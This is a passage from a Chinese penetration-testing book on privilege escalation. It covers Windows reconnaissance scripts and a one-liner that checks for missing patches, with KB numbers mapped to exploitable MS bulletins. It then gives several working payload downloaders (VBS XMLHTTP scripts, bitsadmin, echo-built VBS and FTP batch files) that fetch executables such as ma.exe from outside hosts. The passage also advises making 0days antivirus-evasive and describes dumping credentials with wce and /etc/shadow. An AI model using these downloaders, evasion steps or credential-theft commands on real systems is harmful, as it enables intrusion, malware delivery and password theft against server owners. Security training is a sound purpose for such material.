网络攻防实战研究:漏洞利用与提权
上QQ阅读APP看本书,新人免费读10天
设备和账号都新为新人

1.1 提权概述

在渗透测试过程中以获取系统最高权限为目标,首先通过寻找漏洞,获取WebShell权限,然后进行提权。提权是一个非常重要的过程,提权成功就意味着可以进行进一步的渗透测试。

1.1.1 提权简介

提权是随着互联网出现的一个概念,顾名思义,就是提升自己在服务器中的权限。提权的目的是获取系统的最高管理权限。例如,在Windows中是普通用户,通过提权获取了和Administrator一样的权限;在Linux中通过执行编译后的程序,从普通用户权限提升到root账号权限。

提权是黑客的专业名词,一般用在网站入侵和系统入侵中。提权主要出现Linux、Windows、Android和macOS操作系统下,最常见的是Linux和Windows下的提权。本书主要针对Windows和Linux操作系统下的提权进行讲解。提权可以分为直接提权和间接提权,也可以分为本地提权和远程提权。

本地提权漏洞是指一个本来权限非常低、操作受限制的用户,通过某种条件(例如,通过应用程序漏洞或者系统漏洞)直接提升到系统最高权限。远程提权是指黑客或者攻击者通过漏洞利用程序,直接获取远程服务器的权限(在远程服务器上必须存在漏洞且未修补或者修补未成功)。

提权又分为操作系统提权和应用程序提权。例如,Windows下的提权漏洞MS08-067、MS10-084、MS11-014、MS11-056、MS11-062、MS12-020、MS16-032等,“MS08”是指2008年发现的漏洞,“MS10”是指2010年发现的漏洞。应用程序提权涉及Seru-u、Radmin、pcAnywhere、SQL Server 2000/2005、MySQL、Oracle、Java、IE等。

1.1.2 提权条件

提权不是在任何情况下都可以进行的,它有一定的前置条件,例如拥有内网普通用户权限、拥有WebShell、拥有FTP权限、拥有某些远程管理软件的账号和密码等,同时在本地或者远程服务器上存在相应的漏洞。当然,最重要的条件是拥有利用该漏洞的工具、代码或者程序。

1.1.3 提权准备工作

(1)目标服务器信息的收集

利用已有权限或者条件,对需要提权的目标服务器进行信息收集,例如在有WebShell等的情况下执行命令获取Windows操作系统的信息。

① systeminfo:获取操作系统类型、版本、位数等信息。

② ipconfig/all:获取是否为独立IP地址、DNS、计算机名称等信息。

③ net user:当前用户信息。

④ whoami:当前用户权限。

⑤ netstat-an:当前端口开放情况。

收集系统信息的一个脚本程序如下。

        @echo off
        echo #########system info collection
        systeminfo
        ver
        hostname
        net user
        net localgroup
        net localgroup administrators
        net user guest
        net user administrator
        echo #######at- with   atq#####
        echo schtask /query
        echo
        echo ####task-list#############
        tasklist /svc
        echo
        echo ####net-work infomation
        ipconfig/all
        route print
        arp -a
        netstat -anipconfig /displaydns
        echo
        echo #######service############
        sc query type= service state= all
        echo #######file-##############
        cd \
        tree -F

(2)准备提权服务器的漏洞补丁情况收集

执行如下脚本,获取可利用的漏洞补丁情况。

        systeminfo>C:\Windows\Temp\temp.txt&(for %i in (KB977165 KB970483 KB3057191
    KB3079904 KB3077657 KB3045171 KB2840221 KB3000061 KB2850851 KB2707511 KB2711167
    KB2124261 KB2360937 KB2478960 KB2507938 KB2566454 KB2646524 KB2645640 KB2641653
    KB944653 KB952004 KB971657 KB2620712 KB2393802 KB942831 KB2503665 KB2592799 KB956572
    KB977165  KB2621440  KB3124280  KB3143141  KB3134228)  do  @type  C:\Windows\Temp\
    temp.txt|@find /i "%i"|| @echo %i Not Installed! )&del /f /q /a C:\Windows\Temp\
    temp.txt

补丁号对应的可供利用的程序名称列举如下。

· KB2360937:MS10-084。

· KB2478960:MS11-014。

· KB2507938:MS11-056。

· KB2566454:MS11-062。

· KB2646524:MS12-003。

· KB2645640:MS12-009。

· KB2641653:MS12-018。

· KB944653:MS07-067。

· KB952004:MS09-012 PR。

· KB971657:MS09-041。

· KB2620712:MS11-097。

· KB2393802:MS11-011。

· KB942831:MS08-005。

· KB2503665:MS11-046。

· KB2592799:MS11-080。

· KB956572:MS09-012烤肉。

· KB2621440:MS12-020。

· KB977165:MS10-015 Ms Viru。

· KB3124280:MS16-032。

· KB3143141:MS16-016。

· KB3134228:MS16-014。

· KB3079904:MS15-097。

· KB3077657:MS15-077。

· KB3045171:MS15-051。

· KB3000061:MS14-058。

· KB2829361:MS13-046。

· KB2850851:MS13-053 EPATHOBJ 0day(限32位)。

· KB2707511:MS12-042 sysret-pid。

· KB2124261和KB2271195:MS10-065 IIS7。

· KB970483:MS09-020 IIS6。

(3)准备提权0day及其他相关工具

针对当前操作系统准备32位或64位提权0day。针对当前操作系统应用程序准备提权0day。准备获取密码的Hash工具,并对0day及其相关工具进行免杀处理和测试。

(4)寻找服务器可写目录

在目标服务器中找到一个可写目录。

1.1.4 实施提权

(1)上传或者下载提权0day和相关工具

将文件上传到服务器有多种方式,例如通过WebShell、FTP、下载命令等将工具上传到系统的可写目录下。一些可供参考的下载方法如下。

·在Linux下,通过“wget http://www.antian365.com/shell.txt”命令下载shell.txt文件到本地服务器。

·使用vbs下载,代码如下。

        iLocal = LCase(WScript.Arguments(1))
        iRemote = LCase(WScript.Arguments(0))
        Set xPost = CreateObject("Microsoft.XMLHTTP")
        xPost.Open "GET", iRemote,0
        xPost.Send()
        Set sGet = CreateObject("ADODB.Stream")
        sGet.Mode = 3
        sGet.Type = 1
        sGet.Open()
        sGet.Write(xPost.responseBody)
        sGet.SaveToFile iLocal,2

使用命令“cscript down.vbs http://www.antian365.com/ma.exe c:/ma.exe”,将ma.exe保存到C盘根目录下,不写路径则会显示程序执行出错。

·固定下载程序位置和名称并下载,代码如下。

        url = "http:// www.antian365.com /ma.exe"         ’网络上的文件地址
        saveas = "c:\ma.exe"                               ’保存的本地文件
        Set xmlhttp = CreateObject("Microsoft.XMLHTTP")  ’创建HTTP请求对象
        Set stream = CreateObject("ADODB.Stream")         ’创建ADO数据流对象
        Call xmlhttp.open("GET", url, False)                ’打开连接
        Call xmlhttp.send()                                ’发送请求
        stream.mode = 3                                    ’设置数据流为读写模式
        stream.type = 1                                    ’设置数据流为二进制模式
        Call stream.open()                                 ’打开数据流
        Call stream.write(xmlhttp.responsebody)       ’将服务器的返回报文主体内容写入数据流
        Call stream.savetofile(saveas,2)              ’将数据流保存为文件
        Set xmlhttp = Nothing
        Set stream = Nothing

将以上代码保存为down.vbs文件,执行“cscript down.vbs”命令即可下载程序ma.exe到C盘中。

·另外一种下载文件的方法,代码如下。

        Set xPost = createObject("Microsoft.XMLHTTP")
        xPost.Open "GET", " http:// www.antian365.com /ma.exe ",0      ’下载文件的地址
        xPost.Send()
        Set sGet = createObject("ADODB.Stream")
        sGet.Mode = 3
        sGet.Type = 1
        sGet.Open()
        sGet.Write(xPost.responseBody)
        sGet.SaveToFile "c:\2.exe",2         ’保存文件的路径和文件名

·使用bitsadmin命令下载文件。

第一种方式,代码如下。

        bitsadmin /transfer myjob1 /download /priority normal http:// antian365.com/
    psexec.exe c:\psexec.exe

第二种方式,代码如下。

        bitsadmin   /rawreturn   /transfer   getfile   http://sysinternals.com/files/
    PSTools.zip c:\p.zip

第三种方式,代码如下。

        bitsadmin   /rawreturn   /transfer   getpayload   http://   sysinternals.com/
    files/PSTools.zip c:\p.zip

第四种方式,代码如下。

        bitsadmin /transfer myDownLoadJob /download /priority normal "http://download.
    sysinternals.com/files/PSTools.zip" "c:\p.zip"

·在bat模式下执行vbs下载,代码如下。

        echo Set xPost = CreateObject("Microsoft.XMLHTTP") >1.vbs
        echo xPost.Open "GET", "http://58.54.99.22:8080/help.exe",0 >>1.vbs
        echo xPost.Send() >>1.vbs
        echo Set sGet = CreateObject("ADODB.Stream") >>1.vbs
        echo sGet.Mode = 3 >>1.vbs
        echo sGet.Type = 1 >>1.vbs
        echo sGet.Open() >>1.vbs
        echo sGet.Write(xPost.responseBody) >>1.vbs
        echo sGet.SaveToFile "help.exe",2 >>1.vbs

·在FTP命令模式下下载。down.bat内容如下。

        @echo off
        @set temp=C:\script.txt
        echo open 10.229.23.77>>%temp%
        echo ftpuser>>%temp%
        echo ftpuser>>%temp%
        echo cd General>>%temp%
        echo lcd %2>>%temp%
        echo get %1>>%temp%
        echo quit>>%temp%
        @ftp -s:%temp%
        del %temp%

执行命令“down.bat filename C:\”,参数1是要下载的文件名,参数2是下载的目标路径。使用同样的方法也可以实现文件上传。

(2)执行0day进行提权尝试

在WebShell状态下执行提权0day。通常通过0day添加普通用户为管理员,或者通过0day执行其他可执行程序(例如木马、系统密码获取工具等)。

(3)获取系统权限及操作系统的密码

使用密码获取软件获取操作系统的密码。例如,“使用wce-w”命令获取Windows系统当前登录的明文密码,使用“cat/etc/shadow”命令获取Linux操作系统Shadow文件的内容。